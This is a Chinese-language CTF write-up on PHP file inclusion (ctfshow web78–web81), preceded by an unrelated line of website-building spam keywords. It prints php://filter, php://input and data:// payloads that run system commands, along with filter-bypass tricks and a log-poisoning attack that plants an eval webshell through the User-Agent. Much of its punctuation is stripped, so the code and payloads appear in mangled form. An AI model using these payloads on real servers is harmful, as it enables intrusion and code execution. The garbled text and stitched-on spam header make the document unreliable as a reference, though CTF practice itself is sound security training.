产品网站开发,电商网站 建社区,宿州房地产网站建设,昆山建站公司目录 web78
方法一#xff1a;filter伪协议 方法二#xff1a;input协议
方法三#xff1a;data协议
web79
方法一:input协议
方法二#xff1a;data协议
web80 方法一#xff1a;input协议 方法二#xff1a;日志包含getshell
web81 web78
if(isset($_GET[file]…目录 web78
方法一filter伪协议 方法二input协议
方法三data协议
web79
方法一:input协议
方法二data协议
web80 方法一input协议 方法二日志包含getshell
web81 web78
if(isset($_GET[file])){$file $_GET[file];include($file);
}else{highlight_file(__FILE__);
}
include函数执行file引入的文件如果执行不成功就高亮显示当前页面的源码。
可知这就是一个没有任何过滤的文件包含的题目。
方法一filter伪协议
file关键字的get参数传递php://是一种协议名称php://filter/是一种访问本地文件的协议/readconvert.base64-encode/表示读取的方式是base64编码后resourceindex.php表示目标文件为index.php。
filter伪协议构造payload
?filephp://filter/readconvert.base64-encode/resourceflag.php
得到base编码后的flag解密得到flag 方法二input协议
php://input 是 PHP 提供的一个伪协议允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据PHP 提供了 $_POST 与 $FILES 超全局变量在客户端发起 POST 请求时PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中。 方法三data协议
data也是利用文件包含漏洞将输入的代码当作php文件执行。
data协议格式
data://[MIME-type][;charsetencoding][;base64],data 构造payload
?filedata://text/plain,?php system(tac f*);?
将我们输入的?php system(tac f*);?当作php文件来执行以达到读取flag的目的。 web79
if(isset($_GET[file])){$file $_GET[file];$file str_replace(php, ???, $file);include($file);
}else{highlight_file(__FILE__);
}
可以看到在上一道题的基础上增加了对php字符串的过滤但是值得注意的是过滤是区分了大小写的这就意味着可以使用大小写绕过但是这里的大小写绕过对input和data协议有用对filter协议没有用。
方法一:input协议
将php改为Php 方法二data协议
?filedata://text/plain,?Php system(tac f*);?
这里要将php改为大写的但是上面的input协议就不用这是因为我们的参数file是通过get方式传参的str_replace函数检查也只是检查get方式传入的值input协议中的php是通过post方式传参的因此不用改data协议的php是get方式传入的于是需要大小写绕过。
web80
if(isset($_GET[file])){$file $_GET[file];$file str_replace(php, ???, $file);$file str_replace(data, ???, $file);include($file);
}else{highlight_file(__FILE__);
}
新增了对data的过滤对data尝试了大小写绕过发现绕过不了于是data协议用不了就只能用input协议了。 方法一input协议 方法二日志包含getshell
在了解过后发现这道题还可以通过日志包含getshell的方法来做。
日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
首先要判断网站使用的什么服务
对于Apache日志存放路径/var/log/apache/access.log 对于Ngnix日志存放路径/var/log/nginx/access.log 和 /var/log/nginx/error.log
查看web服务 于是我们访问日志
?file/var/log/nginx/access.log 在user-agent添加木马
?php eval($_REQUEST[cmd]);?post传参首先查看列表
cmdsystem(ls); 可以看到目录下面有flag直接cat查看
cmdsystem(tac f*);
得到flag。
web81
if(isset($_GET[file])){$file $_GET[file];$file str_replace(php, ???, $file);$file str_replace(data, ???, $file);$file str_replace(:, ???, $file);include($file);
}else{highlight_file(__FILE__);
}
过滤了冒号伪协议不好用了于是这个题还是用web80的getshell方法得到flag ctfshow{333cb693-64d5-4c3e-b564-6fddb4621e1e}